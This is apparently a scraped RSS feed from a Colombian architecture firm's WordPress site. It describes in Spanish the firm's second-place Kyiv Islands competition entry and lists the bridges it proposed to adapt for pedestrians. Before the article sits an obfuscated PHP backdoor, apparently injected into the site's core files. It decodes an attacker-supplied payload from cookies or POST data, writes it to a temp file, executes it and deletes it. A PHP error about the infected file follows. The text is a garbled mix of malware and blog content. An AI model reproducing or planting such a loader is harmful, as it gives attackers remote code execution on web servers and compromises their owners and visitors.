$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?>
Warning: Cannot modify header information - headers already sent by (output started at /srv/disk2/2092296/www/interferencechannel.com/wp-includes/class-wp-user-query.php:1) in /srv/disk2/2092296/www/interferencechannel.com/wp-includes/feed-rss2.php on line 8
Taller 301 y el segundo lugar en concurso en las Islas de Kiev.
—————————————————————————————————————
Puente B Moscow
—————————————————————————————————————
El proyecto para las Islas de Kiev a lo largo del río Dnieper fue un concurso que buscaba propuestas para intervenir unas veintemil hectáreas de tierra a lo largo del río principal de la capital Ucraniana. Como arquitectos pensamos ¿cómo diseñar 20,000 hectareas? ¿en cuánto tiempo se ejecuta un proyecto de esta magnitud? Quizás la solución a un territorio tan grande no necesariamente se encuentra en algo inabarcable, sino en algo pequeño y puntual. Y la respuesta a muchos problemas no está en crear algo nuevo, sino en INTERVENIR lo existente.
——————————————————————————————————-
Puentes escogidos para intervenir
———————————————————-
Cuando estábamos realizando este concurso, estaba en pleno furor el movimiento de Occupy Wallstreet. Lo seguimos muy de cerca y estábamos atentos a la documentación visual de todo lo que estaba ocurriendo. La fuerza de un movimiento como ese radica en la acción de ocupar un espacio determinado, un espacio que no estaba destinado para albergar una manifestación como esa, algo así como una intrusión. Inspirados por una pancarta que sostenía uno de los manifestantes que decía “occupy everything” que traduce a “ocupen todo” encontramos que gran parte del territorio de las islas estaba fuertemente impactado por una serie de infraestructuras masivas y colosales diseñadas para cumplir un único objetivo: permitir el paso de los carros, camiones y trenes.
———————————–
———————————————————–
Ninguno de estos puentes estaba pensado para que alguien pudiera cruzarlo a pie o en bicicleta. Fue así como decidimos aprovechar e intervenir la infraestructura existente para habilitar un paso peatonal digno y con escala humana. En lugar de ampliar el impacto sobre las islas, lo que haríamos sería multiplicar las posibilidades de uso en ellas.
—————————————–
Todos los puentes fueron levantados y analizados para hacer un diseño a la medida de cada uno de ellos. Y mientras logramos proponer soluciones y alternativas para las 20 mil hectáreas, la idea de OCUPAR la infraestructura existente fue lo que nos hizo merecedores de un segundo lugar en este concurso internacional.
———————————————
Jardín botánico conectado peatonalmente por una intervención al puente vehicular
————————————————-
oficina de arquitectura de Bogotá, Colombia.
————————————–
—————————————-
A New Tunnel
tipo: tren subterráneo
distancia: 17.753m
programa: torres miradores y locales comerciales
—————————-
B Moscow
tipo: puente colgante
distancia: 1681m
programa: discotecas y locales comerciales
———————————
C Podilsko
tipo: puente/viga de 3 niveles
distancia: 1300m
programa: hotel y locales comerciales
—————————-
D Pedestrian
tipo: puente/viga de 2 niveles
distancia: 1641m
programa: restaurantes y comercio
—————————
D Pedestrian
—————————-
E Metro
tipo: puente/viga
distancia: 2032m
programa: plataformas/miradores, navegación. kayak, actividades acuáticas
——————-
F Paton
tipo: puente/viga
distancia: 2032m
programa: plataformas/miradores, navegación. kayak, actividades acuáticas
———————————-
G Darnitskiy Railway
tipo: puente de viga en concreto con arco en cercha
distancia: 1030m
programa: centro cultural y locales comerciales
—————————-
G Darnitskiy Railway
—————————-
H Pivdenniy
tipo: puente atirantado
distancia: 1091m
—————————-
H Pivdenniy
—————————-
I Petrivs’ KYJ Railway
tipo:puente de cercha metálica para trenes
distancia: 1817m
programa: centro educativo, hotel, locales comerciales
]]>